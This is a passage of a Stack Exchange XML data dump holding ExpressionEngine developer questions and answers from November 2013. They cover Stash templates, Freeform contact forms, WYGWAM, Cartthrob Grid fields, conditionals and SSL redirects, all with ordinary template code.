around that approach but it is worth it IMHO. Here are a few resources to get you started:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://speakerdeck.com/croxton&quot; rel=&quot;nofollow&quot;&gt;Mark Croxton on Speaker Deck&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.jamessmith.co.uk/articles/expressionengine-stash-tutorials&quot; rel=&quot;nofollow&quot;&gt;James Smith on Stash&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-11-14T05:45:36.010" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16744" PostTypeId="1" CreationDate="2013-11-14T06:33:32.363" Score="2" ViewCount="58" Body="&lt;p&gt;I need to use WYGWAM in comment form.&#xA;Now I use {exp:comment:form} as it is shown in EE documentation.&#xA;But it is necessary for me that users could format the text with power of WYGWAM! How can I embed it to comment form?&lt;/p&gt;&#xA;" OwnerUserId="2362" LastEditorUserId="159" LastEditDate="2013-11-14T09:24:18.517" LastActivityDate="2014-08-14T16:16:45.130" Title="WYGWAM in comments form" Tags="|wygwam|comments|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16745" PostTypeId="1" CreationDate="2013-11-14T07:53:10.170" Score="0" ViewCount="38" Body="&lt;p&gt;I have multiple exp channel call in a page showing widgets.&#xA;These calls stay completely different.&#xA;Can I set to parse one widget's exp first ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope the widgets will get parsed in the order of rendering. But if I want to set parsing of the last rendered widget first , Is this possible?&#xA;Please help if anybody knows?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="2126" LastActivityDate="2013-11-14T07:53:10.170" Title="change parse order of exp call" Tags="|parse-order|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16746" PostTypeId="1" CreationDate="2013-11-14T08:39:00.767" Score="4" ViewCount="141" Body="&lt;p&gt;It seems to me that using Stash Embeds with variables could be a really powerful way to keep things &lt;strong&gt;really&lt;/strong&gt; dry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if anybody uses them to create consistent elements throughout their sites and just cache them away?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example for a consistent call to action button throughout the site...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:embed:partials:cta stash:action=&quot;Download Now&quot; stash:location=&quot;/download/&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which would embed the partial template which would look like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{exp:stash:location}&quot; class=&quot;cta&quot;&amp;gt;{exp:stash:action} &amp;amp;raquo;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would allow for impressively DRY code which in turn would be consistent code (call to action buttons are things I notice become inconsistent quickly on a larger site) and would facilitate the ability to change hundreds of CTAs in one line of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this have much of a negative effect on the performance of the site? Has anybody tried something similar to this in the past?&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-01-12T13:45:39.130" Title="Using Stash Embeds for common elements such as call to actions" Tags="|stash|embeds|template-partials|dry|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16747" PostTypeId="1" CreationDate="2013-11-14T09:26:41.830" Score="2" ViewCount="153" Body="&lt;p&gt;Reading through the Stash Wiki and various Stack Exchange threads I found it difficult to try to fully wrap my head around the MVVM template model advocated by Mark Croxton.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This thread aims to provide a community Wiki with a concise and definitive explanation of what goes where and how they interact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm very new to this model - so I'd appreciate any edits to correct mistakes. I'm not convinced my understanding of the partials part of the equation is right yet.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2013-11-14T09:52:44.063" Title="Stash MVVM - A guide to what goes where?" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16748" PostTypeId="2" ParentId="16747" CreationDate="2013-11-14T09:26:41.830" Score="3" Body="&lt;h2&gt;Snippets&lt;/h2&gt;&#xA;&lt;p&gt;Snippets are loaded in just one database query - but this query returns &lt;em&gt;every single snippet&lt;/em&gt; on the website - even if the page doesn't need it.&lt;/p&gt;&#xA;&lt;p&gt;This behaviour makes what is otherwise a really efficient way of reusing elements really quite inefficient.&lt;/p&gt;&#xA;&lt;p&gt;You should only use Snippets for elements that are used throughout the site.&lt;/p&gt;&#xA;&lt;p&gt;The things that are on every page, or the majority of pages:-&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Headers&lt;/li&gt;&#xA;&lt;li&gt;Footers&lt;/li&gt;&#xA;&lt;li&gt;META Tags&lt;/li&gt;&#xA;&lt;li&gt;Common Date Formats&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Elements that are only used on the site once or twice (gallery, comments, etc.) wouldn't be efficient to store as snippets and would probably be better served as Partials.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Partials&lt;/h2&gt;&#xA;&lt;p&gt;Partials could be thought of as the next step up from Snippets. They're loaded only when needed but are slightly heavier.&lt;/p&gt;&#xA;&lt;p&gt;For elements such as galleries, sidebars or &amp;quot;configure this product&amp;quot; on eCommerce websites they allow for DRY reusable code without the overhead of storing them all in snippets.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Aside Note:&lt;/strong&gt; A layout should try to avoid ExpressionEngine code as much as possible other than &lt;code&gt;{exp:stash:get}&lt;/code&gt; and the View Model should try to avoid markup as much as possible. This is a strong separation of concerns.&lt;/p&gt;&#xA;&lt;p&gt;Partials allow for a middle-ground. You can use markup within them but are called from the View Model.&lt;/p&gt;&#xA;&lt;p&gt;For example - if you have a &amp;quot;Blog&amp;quot; entry page and a &amp;quot;Press Release&amp;quot; entry page they would be almost identical, so would share the same layout. However a &amp;quot;Blog&amp;quot; would have a &amp;quot;About this author&amp;quot; section and Comments, while a Press Release would not. In this instance, the about the author section and comments could be partials.&lt;/p&gt;&#xA;&lt;p&gt;You could think of partials as sub-templates.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Partials are usually Stash templates.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Layouts&lt;/h2&gt;&#xA;&lt;p&gt;Your website should have a unique layout for each use case or purpose on the website. That is to say that a product page should have a different layout than a landing page, than a blog, than a standard text page.&lt;/p&gt;&#xA;&lt;p&gt;Even if they're 99% the same, separating them allows for future expandability and highly understandable code.&lt;/p&gt;&#xA;&lt;p&gt;When two parts of a website share the same purpose, for example a &amp;quot;Blog&amp;quot; index page and a &amp;quot;Press Releases&amp;quot; index page they could share the same layout.&lt;/p&gt;&#xA;&lt;p&gt;Layouts contain your markup. It is the front-end to the View Model's back-end.&lt;/p&gt;&#xA;&lt;p&gt;Within them call upon your snippets such as &lt;code&gt;{sn_header}&lt;/code&gt; so that you don't need to rewrite that on every layout.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Layouts are usually Stash templates.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;View Model&lt;/h2&gt;&#xA;&lt;p&gt;The view model is the behind the scenes part. It does the following:-&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Tells the page which layout to use&lt;/li&gt;&#xA;&lt;li&gt;Grabs data from ExpressionEngine's database&lt;/li&gt;&#xA;&lt;li&gt;Adds any partials that it requires&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;View Models are standard ExpressionEngine templates.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d1dnq.jpg&quot; alt=&quot;How the stash model works&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="96" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-11-14T09:52:44.063" CommentCount="0" CommunityOwnedDate="2013-11-14T09:26:41.830" ContentLicense="CC BY-SA 3.0" />
  <row Id="16750" PostTypeId="2" ParentId="16729" CreationDate="2013-11-14T15:20:56.453" Score="1" Body="&lt;p&gt;Perhaps you can give the Forms JS Validation plugin a try &lt;a href=&quot;http://devot-ee.com/add-ons/forms-js-validation&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/forms-js-validation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:forms_js_validation:init}&#xA;{exp:forms_js_validation:add&#xA;  selector=&quot;.contact&quot;&#xA;  input_element_wrapper=&quot;.input_container&quot;&#xA;  require_class=&quot;require&quot;&#xA;}&#xA;&#xA;{exp:freeform:form&#xA;  form_name=&quot;contact_form&quot; &#xA;  template=&quot;contact_email&quot;&#xA;  form:class=&quot;contact&quot;&#xA;  return=&quot;contact_/index#sent&quot;&#xA;}&#xA;  &amp;lt;span class=&quot;input_container&quot;&amp;gt;&#xA;    &amp;lt;span class=&quot;input_info&quot;&amp;gt;FIRST NAME&amp;lt;/span&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; value=&quot;&quot; class=&quot;w168 mrR14 require&quot;  name=&quot;fname&quot; id=&quot;fname&quot; /&amp;gt;&#xA;  &amp;lt;/span&amp;gt;&#xA;&#xA;  &amp;lt;span class=&quot;input_container&quot;&amp;gt;&#xA;    &amp;lt;span class=&quot;input_info&quot;&amp;gt;LAST NAME&amp;lt;/span&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; value=&quot;&quot; class=&quot;w168 require&quot; name=&quot;lname&quot; id=&quot;lname&quot; /&amp;gt;&#xA;  &amp;lt;/span&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;clr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;input type=&quot;submit&quot;  name=&quot;submit&quot;  id=&quot;submit&quot; value=&quot;SUBMIT&quot;class=&quot;submitbutton&quot; style=&quot;cursor:pointer&quot;/&amp;gt;&#xA;{/exp:freeform:form}&#xA;&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6" LastActivityDate="2013-11-14T15:20:56.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16751" PostTypeId="2" ParentId="16744" CreationDate="2013-11-14T15:22:19.837" Score="2" Body="&lt;p&gt;This is not currently possible with any of the wysiswyg editors for EE. Have you considered making a feature request?&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-11-14T15:22:19.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16752" PostTypeId="1" CreationDate="2013-11-14T15:31:34.610" Score="1" ViewCount="248" Body="&lt;p&gt;I'm trying to retrieve an image stored within a Grid fieldtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting grid_parser errors using EE 2.7.2 and Cartthrob 2.4&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:cart_items_info}&#xA;      {exp:channel:entries channel=&quot;products&quot; entry_id=&quot;{entry_id}&quot;}&#xA;          {product_detail_image limit=&quot;1&quot;}&#xA;              &amp;lt;img src=&quot;{product_detail_image:product_image}&quot; alt=&quot;{title}&quot; /&amp;gt;            &#xA;          {/product_detail_image}&#xA;      {/exp:channel:entries}&#xA;{/exp:cartthrob:cart_items_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The changelog says that Cartthrob has been updated to fix Grid compatibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or perhaps an example if my code is freaky.&lt;/p&gt;&#xA;" OwnerUserId="158" LastActivityDate="2014-11-22T16:46:12.663" Title="Cartthrob and Grid fieldtype" Tags="|cartthrob|grid|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16753" PostTypeId="2" ParentId="16698" CreationDate="2013-11-14T16:18:41.447" Score="0" Body="&lt;p&gt;I don't believe there is a built in parameter to limit file types, but have a look at this old forum post which describes where in the ext code you can look to modify the allowed upload types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/forums/viewthread/13764/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/forums/viewthread/13764/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-11-14T16:18:41.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16754" PostTypeId="1" AcceptedAnswerId="17502" CreationDate="2013-11-14T16:19:53.540" Score="2" ViewCount="62" Body="&lt;p&gt;Somehow I can't seem to get this right. I have a Stash variable that I'm setting if certain pages need to be redirected to their HTTPS version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried it a number of ways, but very similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:stash:not_empty name=&quot;secure&quot; parse=&quot;inward&quot; process=&quot;inline&quot;} == 1 }&#xA;      {exp:dm_force_ssl:force parse=&quot;inward&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code resides in an embed btw (template partials approach, where the &quot;secure&quot; variable is set in the parent template partial, then the other variables are pushed into the wrapper). It ends up redirecting &lt;em&gt;every&lt;/em&gt; page, not just the ones that fall into the conditional. &lt;/p&gt;&#xA;" OwnerUserId="1354" LastActivityDate="2013-12-06T22:48:11.107" Title="DM Force SSL based on Stash not_empty variable" Tags="|stash|ssl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16755" PostTypeId="1" CreationDate="2013-11-14T16:22:27.513" Score="2" ViewCount="501" Body="&lt;p&gt;I'm a newbie upgrading an ExpressionEngine site from 1.6.8 to 2.7.2. I did this on my local server. Worked pretty well but I lucked out since I don't have any add-ons to upgrade. However, not everything is showing up on my home page or control panel. I'm guessing that the other navigation links and some css and image srcs are tied to the site_url in the database, which would be looking for these elements on mydomain.com and not the local server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming that this would all be OK when uploaded to the remote server and the absolute paths are restored, but I want to be  careful.  Can I change the {site_url} in the database or admin somewhere to check this and give it another look?  Should I just upload changes from localhost and make the necessary adjustments in the control panel?&lt;/p&gt;&#xA;" OwnerUserId="2069" LastActivityDate="2013-11-15T02:24:11.630" Title="{site_url} when updating on localhost and transfer to remote server" Tags="|control-panel|database|url|upgrade|links|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16756" PostTypeId="2" ParentId="16754" CreationDate="2013-11-14T16:24:35.883" Score="0" Body="&lt;p&gt;Try a couple different iterations of the conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:stash:not_empty name=&quot;secure&quot; parse=&quot;inward&quot; process=&quot;inline&quot;}&quot; == &quot;1&quot; }&#xA;&#xA;{if '{exp:stash:not_empty name=&quot;secure&quot; parse=&quot;inward&quot; process=&quot;inline&quot;}' == '1' }&#xA;&#xA;{if &quot;1&quot; == &quot;{exp:stash:not_empty name=&quot;secure&quot; parse=&quot;inward&quot; process=&quot;inline&quot;}&quot;}&#xA;&#xA;{if '1' == '{exp:stash:not_empty name=&quot;secure&quot; parse=&quot;inward&quot; process=&quot;inline&quot;}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also, &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; most likely isn't needed on the &lt;code&gt;{exp:dm_force_ssl:force}&lt;/code&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-11-14T16:34:18.840" LastActivityDate="2013-11-14T16:34:18.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16757" PostTypeId="1" AcceptedAnswerId="16788" CreationDate="2013-11-14T16:24:52.400" Score="0" ViewCount="92" Body="&lt;p&gt;I have a bit of a weird situation. I have an entry, and want to show next/previous buttons. I'm using Low Reorder, and this is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;grid__col bp1--full bp2--one-half&quot;&amp;gt;&#xA;    {exp:low_reorder:prev_entry&#xA;        set='projects'&#xA;        url_title='{segment_3}'&#xA;    }&#xA;        &amp;lt;a href=&quot;{url_title_path='work/projects'}&quot; class=&quot;cta cta--full cta--prev&quot;&amp;gt;&amp;lt;span class=&quot;entypo chevron-thin-left&quot;&amp;gt;&amp;lt;/span&amp;gt; {title}&amp;lt;/a&amp;gt;&#xA;    {/exp:low_reorder:prev_entry}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;grid__col bp1--full bp2--one-half&quot;&amp;gt;&#xA;    {exp:low_reorder:next_entry&#xA;        set='projects'&#xA;        url_title='{segment_3}'&#xA;    }&#xA;        &amp;lt;a href=&quot;{url_title_path='work/projects'}&quot; class=&quot;cta cta--full cta--next&quot;&amp;gt;{title} &amp;lt;span class=&quot;entypo chevron-thin-right&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;    {/exp:low_reorder:next_entry}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the template gets rendered, it doens't render the &lt;code&gt;{url_title_path=''}&lt;/code&gt;, but just outputs it raw. This also happens with native &lt;code&gt;next_entry&lt;/code&gt; and &lt;code&gt;prev_entry&lt;/code&gt; (which I reckon Low Reorder delegates to). When i put in &lt;code&gt;/work/projects/{url_title}&lt;/code&gt; that does work however. Anyone have a clue what's going on here?&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-11-15T13:07:55.743" Title="prev_entry and next_entry not outputting url_title_path" Tags="|next-prev|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16758" PostTypeId="1" AcceptedAnswerId="16877" CreationDate="2013-11-14T16:35:33.720" Score="8" ViewCount="1269" Body="&lt;p&gt;I'm using Wygwam on a site, and I'm allowing content administrators to embed media (specifically, videos) within the main, body copy/content area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to automatically wrap the embedded content in some kind of custom HTML? It seems that the embeds are already automatically wrapped in a classless &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;, and I'd like to, at the very least, give that &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; some kind of class or ID, so that it'd be something like &lt;code&gt;&amp;lt;div class=&quot;inline-media&quot;&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2364" LastActivityDate="2014-03-12T01:45:54.113" Title="Wygwam - automatically wrap media embed with custom html" Tags="|pixelandtonic|wygwam|embeds|video|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16759" PostTypeId="2" ParentId="16757" CreationDate="2013-11-14T16:47:56.960" Score="0" Body="&lt;p&gt;I'd try adding &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; to the &lt;code&gt;{exp:low_reorder}&lt;/code&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-14T16:47:56.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16760" PostTypeId="1" CreationDate="2013-11-14T16:50:49.243" Score="0" ViewCount="98" Body="&lt;p&gt;Hi I'm looking for a way to repeat this process to build a title with conditionals&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the php version of my site I can use the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!empty($PostKeyword)) {&#xA;    $PostTitle = $PostKeyword.&quot; Jobs&quot;;&#xA;    if (!empty($PostLoc)) {&#xA;        $PostTitle = $PostKeyword.&quot; Jobs in &quot;. $PostLoc;&#xA;    }&#xA;} elseif (!empty($PostCategory)) {&#xA;    $PostTitle = $PostCategory.&quot; Jobs&quot;;&#xA;    if (!empty($PostLoc)) {&#xA;        $PostTitle = $PostCategory.&quot; Jobs in &quot;. $PostLoc;&#xA;    }&#xA;} else {&#xA;    $PostTitle = &quot;Jobs In &quot;. $PostLoc;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was hoping this could do the same with this in EE but it just throws errors&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {super_search_keywords} !=&quot;&quot;}&#xA;&#xA;    &amp;lt;h1&amp;gt;{super_search_keywords} Jobs&amp;lt;/h1&amp;gt;&#xA;&#xA;{if:elseif super_search_category_name !=&quot;&quot;}&#xA;&#xA;    {if {super_search_job_location} !=&quot;&quot;}&#xA;        &amp;lt;h1&amp;gt;{super_search_category_name} Jobs In {super_search_job_location}&amp;lt;/h1&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;h1&amp;gt;{super_search_category_name} Jobs&amp;lt;/h1&amp;gt;&#xA;&#xA;{if:else}&#xA;&#xA;    &amp;lt;h1&amp;gt;Jobs In {super_search_job_location}&amp;lt;/h1&amp;gt;&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sorry for the look I cant find a way to format this nicely&lt;/p&gt;&#xA;" OwnerUserId="2149" LastEditorUserId="1326" LastEditDate="2013-11-14T17:50:31.147" LastActivityDate="2013-11-15T18:52:46.667" Title="Can I do this with conditionals" Tags="|conditionals|solspace|supersearch|" AnswerCount="3" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16761" PostTypeId="1" CreationDate="2013-11-14T16:56:58.323" Score="1" ViewCount="334" Body="&lt;p&gt;Hi I am new to EE and found the FreeForm Module for Contact Forms.&#xA;It is pretty Helpful and i love how fast you can create forms with it.&#xA;One thing is not working though and as i read other posts about this topic i can not find reasons why it is not working.&#xA;Here is the Code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;            form_id=&quot;1&quot;&#xA;            required=&quot;first_name|last_name|email|user_message&quot;&#xA;            return=&quot;{segment_1}&quot;&#xA;            recipient1=&quot;Topic1|t1@domain.de&quot;&#xA;            recipient2=&quot;Topic2|t2@domain.de&quot;&#xA;            recipient3=&quot;Topic3|t3@domain.de&quot;&#xA;            recipient4=&quot;Topic4|t4@domain.de&quot;&#xA;            recipient5=&quot;Topic5|t5@domain.de&quot;&#xA;            recipient6=&quot;Topic6|t6@domain.de&quot;&#xA;            recipient_template=&quot;user-request&quot;&#xA;            notify_user=&quot;yes&quot;&#xA;            recipients=&quot;yes&quot;&#xA;            user_email_field=&quot;email&quot;&#xA;            recipient_limit=&quot;8&quot; &#xA;            }&#xA;                &amp;lt;label for=&quot;first_name&quot;&amp;gt;First Name *&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input name=&quot;first_name&quot; id=&quot;first_name&quot; type=&quot;text&quot;/&amp;gt;&amp;lt;br/&amp;gt;&#xA;                &amp;lt;label for=&quot;last_name&quot;&amp;gt;Last Name *&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input name=&quot;last_name&quot; id=&quot;last_name&quot; type=&quot;text&quot;/&amp;gt;&amp;lt;br/&amp;gt;&#xA;                &amp;lt;label for=&quot;email&quot;&amp;gt;E-Mail Address *&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input name=&quot;email&quot; id=&quot;email&quot; type=&quot;text&quot;/&amp;gt;&amp;lt;br/&amp;gt;&#xA;                &amp;lt;label for=&quot;recipient_email&quot;&amp;gt;Subject *&amp;lt;/label&amp;gt;&#xA;                   &amp;lt;select name=&quot;recipient_email&quot;&amp;gt;&#xA;                {freeform:recipients}&#xA;                 &amp;lt;option value=&quot;{freeform:recipient_value}&quot; {if freeform:recipient_selected}selected=&quot;selected&quot;{/if}&amp;gt;&#xA;                    {freeform:recipient_name}&#xA;                 &amp;lt;/option&amp;gt;&#xA;                {/freeform:recipients}&#xA;                &amp;lt;/select&amp;gt;  &amp;lt;br/&amp;gt;&#xA;&#xA;                &amp;lt;label for=&quot;user_message&quot;&amp;gt;Your Message *&amp;lt;/label&amp;gt;&#xA;                &amp;lt;textarea name=&quot;user_message&quot; id=&quot;user_message&quot;&amp;gt;&amp;lt;/textarea&amp;gt; &amp;lt;br/&amp;gt;&#xA;                &amp;lt;label for=&quot;submitForm&quot;&amp;gt;&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input id=&quot;submitForm&quot; type=&quot;submit&quot; value=&quot;Send Form&quot;/&amp;gt;&#xA;            {/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it does find errors, and it does send an e-Mail to the admin but it does not send an email to the selected recipient nor the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What did i miss to set up correctly? &#xA;( i changed the e-mail adresses in case of spamming :) )&lt;/p&gt;&#xA;" OwnerUserId="2365" LastEditorUserId="28" LastEditDate="2013-11-20T06:24:22.167" LastActivityDate="2013-12-20T08:31:36.890" Title="Freeform recipients not sending to recipient" Tags="|templates|forms|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16762" PostTypeId="2" ParentId="16723" CreationDate="2013-11-14T16:58:09.260" Score="0" Body="&lt;p&gt;I went ahead and messed around with what you had done so far, and you should be able to use the following to get started. It works when I tested it, but you'll of course need to put your own field names in. (Based on this support thread: &lt;a href=&quot;http://devot-ee.com/add-ons/support/stash/viewthread/10127&quot; rel=&quot;nofollow&quot;&gt;&quot;Simulating 'group by' filtering and sorting.&quot;&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- ---------------------- &#xA;ONE -  Grab all possible trails, and other variables needed.&#xA;---------------------- --}&#xA;{exp:stash:set_list &#xA;    name=&quot;@:content&quot; &#xA;    parse_tags=&quot;yes&quot; &#xA;    parse_depth=&quot;1&quot; &#xA;    trim=&quot;yes&quot;&#xA;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;ch_programs&quot;&#xA;        entry_id=&quot;{segment_3}&quot;&#xA;        dynamic=&quot;no&quot;&#xA;        status=&quot;not closed&quot;&#xA;    }&#xA;&#xA;        {!--   matrix   --}&#xA;        {YOUR_MATRIX_FIELD_NAME var_prefix=&quot;mx&quot;}&#xA;&#xA;            {!--   playa column   --}&#xA;            {stash:trail}&#xA;                {mx:YOUR_PLAYA_COLUMN_NAME var_prefix=&quot;pl&quot;}&#xA;                    {pl:title}&#xA;                {/mx:YOUR_PLAYA_COLUMN_NAME}&#xA;            {/stash:trail}&#xA;&#xA;            {!--   another column   --}&#xA;            {stash:second}{mx:A_SECOND_MATRIX_COLUMN}{/stash:second}&#xA;            {!--   ...continue adding any other matrix variables you will need to output later...   --}&#xA;&#xA;        {/YOUR_MATRIX_FIELD_NAME}&#xA;&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;&#xA;{!-- ---------------------- &#xA;TWO - Iterate over an array of unique Trails in the list.&#xA;---------------------- --}&#xA;{exp:stash:set_list name=&quot;@:content_trail&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:stash:get_list &#xA;        name='@:content'&#xA;        orderby=&quot;trail&quot;&#xA;        sort=&quot;desc&quot;&#xA;     }&#xA;        {stash:trail}{trail}{/stash:trail}&#xA;    {/exp:stash:get_list}&#xA;{/exp:stash:set_list}&#xA;&#xA;&#xA;{!-- ---------------------- &#xA;THREE - Output with formatting.&#xA;---------------------- --}&#xA;{exp:stash:get_list name='@:content_trail' unique=&quot;yes&quot;}&#xA;&#xA;    {!-- Get the unique Trail title --}&#xA;    &amp;lt;h2&amp;gt;{trail}&amp;lt;/h2&amp;gt;&#xA;&#xA;    {!-- Get all other Matrix data you've set that match this Trail --}&#xA;    {exp:stash:get_list:nested name=&quot;@:content&quot; match=&quot;#^{trail}$#&quot; against=&quot;trail&quot;}&#xA;&#xA;        {!--   ...output any other variables you have set with formatting...   --}&#xA;        &amp;lt;p&amp;gt;Second variable: {second}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;etc...&amp;lt;/p&amp;gt;&#xA;&#xA;    {/exp:stash:get_list:nested}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-11-14T16:58:09.260" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
